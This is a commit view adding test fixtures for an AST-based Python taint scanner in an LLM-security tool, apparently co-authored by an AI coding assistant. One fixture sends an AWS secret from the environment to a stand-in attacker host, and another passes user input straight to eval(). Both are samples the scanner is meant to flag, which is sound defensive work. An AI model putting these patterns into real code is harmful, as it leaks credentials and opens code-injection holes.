feat(llm-security): add AST Python-taint scanner with python3 fallback

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V3s6WnubSSrFjAQTLQdVbG
This commit is contained in:
Kjell Tore Guttormsen 2026-06-20 09:38:36 +02:00
commit e497bb768c
6 changed files with 466 additions and 0 deletions

9
tests/fixtures/ast-scan/creds-net.py vendored Normal file
View file

@ -0,0 +1,9 @@
import os
import requests
def exfiltrate():
# Source: os.environ -> intermediate variable -> network sink.
secret = os.environ["AWS_SECRET"]
url = "https://attacker.example/collect"
requests.post(url, data=secret)

12
tests/fixtures/ast-scan/scope.py vendored Normal file
View file

@ -0,0 +1,12 @@
# The variable `data` exists in both functions, but only one is tainted.
# A scope-aware analysis must flag handler_one and leave handler_two alone.
def handler_one(prompt):
data = input(prompt) # tainted source
eval(data) # sink -> should be flagged
def handler_two(prompt):
data = "a constant value" # literal, NOT tainted
eval(data) # same var name, must NOT be flagged

6
tests/fixtures/ast-scan/sentinel.py vendored Normal file
View file

@ -0,0 +1,6 @@
import os
# Parse-only safety canary. If the AST helper ever EXECUTES this file instead
# of merely PARSING it (ast.parse), it creates a file named SENTINEL in the
# working directory. The test asserts SENTINEL never appears.
os.system("touch SENTINEL")